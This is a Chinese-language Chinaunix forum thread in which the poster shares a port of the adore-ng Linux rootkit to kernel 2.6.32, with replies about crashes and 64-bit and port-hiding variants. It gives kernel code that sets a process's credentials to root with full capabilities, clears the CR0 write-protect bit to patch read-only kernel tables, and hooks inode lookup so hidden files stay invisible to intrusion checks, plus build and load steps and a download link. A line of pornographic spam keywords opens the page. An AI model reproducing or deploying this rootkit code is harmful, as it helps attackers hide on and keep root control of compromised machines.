亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

Chinaunix

標(biāo)題: 【原創(chuàng)】rootkit工具adore-ng修改,適合高版本的內(nèi)核(如2.6.32) [打印本頁]

作者: lgqss    時間: 2010-05-16 15:04
標(biāo)題: 【原創(chuàng)】rootkit工具adore-ng修改,適合高版本的內(nèi)核(如2.6.32)
本帖最后由 lgqss 于 2010-05-16 15:06 編輯

最近對以前的一個黑客工具adore-ng0.56版本進(jìn)行了修改,使其可以在ubuntu10.04(2.6.32)運(yùn)行,也可以在2.6.30上運(yùn)行,為了修改這個,死機(jī)n次。。。。

Adore-ng-0.56源碼分析見

http://linux.chinaunix.net/bbs/thread-1138561-1-1.html(感謝他)

由于2.6.32版本內(nèi)核與以前有一些不同,所以不能編譯

主要不同之處在于,

1.struct task_struct中關(guān)于權(quán)限的字段移到struct cred中去了
  1. edit_cred->uid = 0;

  2.               edit_cred->suid = 0;

  3.               edit_cred->euid = 0;

  4.            edit_cred->gid = 0;

  5.               edit_cred->egid = 0;

  6.            edit_cred->fsuid = 0;

  7.               edit_cred->fsgid = 0;


  8.               cap_set_full(edit_cred->cap_effective);

  9.               cap_set_full(edit_cred->cap_inheritable);

  10.               cap_set_full(edit_cred->cap_permitted);
復(fù)制代碼
2.關(guān)于操作的結(jié)構(gòu)都是const類型,直接修改引發(fā)oops錯誤

所以先要去掉cr0寄存器的寫保護(hù),如下代碼
  1. unsigned orig_cr0;   

  2. /*清除cr0寄存器的寫保護(hù)位,第16位為WP寫保護(hù)位*/

  3. unsigned clear_return_cr0(void)

  4. {

  5.        unsigned cr0 = 0;

  6.        unsigned ret;

  7.        asm volatile ("movl %%cr0, %%eax"

  8.        :"=a"(cr0)

  9.        );

  10.        ret = cr0;

  11.        cr0 &= 0xfffeffff;

  12.        asm volatile ("movl %%eax, %%cr0"

  13.        :

  14.        :"a"(cr0)

  15.        );

  16.        return ret;

  17. }

  18. /*用orig_cr0恢復(fù)cr0寄存器*/

  19. void setback_cr0(unsigned val)

  20. {

  21.        asm volatile ("movl %%eax, %%cr0"

  22.        :

  23.        :"a"(val)

  24.        );

  25. }
復(fù)制代碼
3.在文件隱藏中,iget函數(shù)已經(jīng)沒有了,相應(yīng)的super_operations里read_inode也沒有了,所以采用了新方法獲取inode

一開始的想法是用iget_locked代替,但出現(xiàn)的問題是:

(1)    如果文件從來沒訪問過,那么文件inode不存在,這樣iget_locked會新建一個空的inode,但不會填充它,而且后面因?yàn)橛昧藆nlock_new_inode,使得以后獲取到該文件的inode都是空的,所以那些沒有訪問過的文件以后都不能打開了,ls –l得出的長度什么的全是0
  1. if (inode->i_state & I_NEW) {

  2.         unlock_new_inode(inode);

  3.         //printk("%lu\n", (unsigned long)inode);

  4.         inode->i_state |= I_NEW;//沒有這句話,會造成文件系統(tǒng)內(nèi)所有第一次ls的新文件全部不可用

  5. }
復(fù)制代碼
后來我想到的方法是加上一句inode->i_state |= I_NEW;這樣就重新標(biāo)記為新節(jié)點(diǎn),有了這個標(biāo)記的后,文件體統(tǒng)相應(yīng)的iget函數(shù)(如ext4_iget)會填充它

(2)    上面的內(nèi)核inode破壞問題解決了,還有個問題是,如果inode沒緩存(即該文件從沒被打開過),那么iget_locked會獲取到空的inode, 所以if (uid == ELITE_UID && gid == ELITE_GID)這句話在第一次運(yùn)行時永遠(yuǎn)不成立,所以第一次ls有需要隱藏文件的目錄時,我們要隱藏的文件還能看的見,第二次ls才會消失,因?yàn)榈诙挝覀兊玫降牟攀钦嬲膇node。(這里說明一下,ls命令要獲取文件信息,就需要打開當(dāng)前目錄下所有文件獲取填充好的inode,內(nèi)核為每個文件調(diào)用一次ext4_iget)

這個應(yīng)該是很嚴(yán)重的問題,我們本來是要隱藏文件的,但第一次能ls能看見,再次ls時消失掉,傻瓜也知道被入侵了。。。



后來我找到了第二種解決辦法,在ext4中有個函數(shù)是ext4_lookup,用來填充當(dāng)前目錄dentry,提供的參數(shù)是父目錄的inode,文件未連接的dentry(negative dentry),這個函數(shù)用來把dentry和inode連接起來(調(diào)用了ext4_iget來填充inode)。

  1.        struct inode *inode = NULL;

  2.        struct dentry *dentry = NULL;

  3.        struct qstr this;

  4.        struct dentry *dir = parent_dir[current->pid % 1024];


  5.        this.name = name;

  6.        this.len = nlen;

  7.        this.hash = full_name_hash(this.name, this.len);

  8.        dentry = d_lookup(dir, &this);//首先看系統(tǒng)中有沒有緩存

  9.        if (!dentry) {

  10.               dentry = d_alloc(dir, &this);

  11.               if (!dentry) {

  12.                      //printk("d_alloc失敗%d\n", (int)dentry);

  13.                      return 0;

  14.               }

  15.               if(dir->d_inode->i_op->lookup(dir->d_inode, dentry, NULL) != 0) {

  16.                      printk("lookup錯誤\n");

  17.                      return 0;

  18.               }

  19.        }

  20.        if(!(inode = dentry->d_inode)) {

  21.        //printk("inode獲取失敗\n");

  22.        return 0;

  23.        }
復(fù)制代碼
當(dāng)前修改還不是很穩(wěn)定,好像會出現(xiàn)內(nèi)核函數(shù)writeback_single_inode錯誤,導(dǎo)致一些問題,但把

       //iput(inode);

       //dput(dentry);,

注釋掉后好像又沒問題了。

運(yùn)行方法

make

進(jìn)入root后

Insmod adore-ng.ko

然后可以用ava運(yùn)行命令了,詳細(xì)操作方法見我上面貼出的網(wǎng)址,也可以百度google搜索
adore-ng.rar (49.53 KB, 下載次數(shù): 385)
作者: accessory    時間: 2010-05-17 03:51
good. thx for sharing.
作者: Godbach    時間: 2010-05-17 10:28
多謝LZ分享。有時間的話在2.6.32的內(nèi)核上跑一下。
作者: lgqss    時間: 2010-05-17 15:08
多謝LZ分享。有時間的話在2.6.32的內(nèi)核上跑一下。
Godbach 發(fā)表于 2010-05-17 10:28



    多謝斑竹大大加分,
作者: lgqss    時間: 2010-05-17 15:13
good. thx for sharing.
accessory 發(fā)表于 2010-05-17 03:51



    多謝accessory 大大深夜踩樓,
作者: accessory    時間: 2010-05-20 23:20
還好,還好
作者: scuhurricane    時間: 2012-02-21 16:27
"第二種解決辦法,在ext4中有個函數(shù)是ext4_lookup" 。當(dāng)文件系統(tǒng)更是yaffs2時,對應(yīng)的是yaffs_lookup函數(shù)。當(dāng)程序執(zhí)行到if(dir->d_inode->i_op->lookup(dir->d_inode, dentry, NULL) != 0)
{            
       printk("lookup錯誤\n");                  
       return 0;
  }

ls命令卡死,用dmesg查看并沒有打印出lookup錯誤,也沒有繼續(xù)向后執(zhí)行。
何解?
難道這是yaffs2文件系統(tǒng)的bug?
作者: guohegong    時間: 2012-05-13 22:02
成功,謝謝樓主
作者: guohegong    時間: 2012-05-14 16:59
可以安裝成功,但是關(guān)機(jī)的時候死機(jī)
作者: cherishchuntg    時間: 2012-05-17 22:54
很想知道有沒有64位版本的?
作者: sxm0403    時間: 2018-05-03 16:24
64位版本也好修改,把匯編語句movl那幾句改改就可以編譯通過
但是貌似沒有實(shí)現(xiàn)端口隱藏啊,樓主能實(shí)現(xiàn)嗎?




歡迎光臨 Chinaunix (http://72891.cn/) Powered by Discuz! X3.2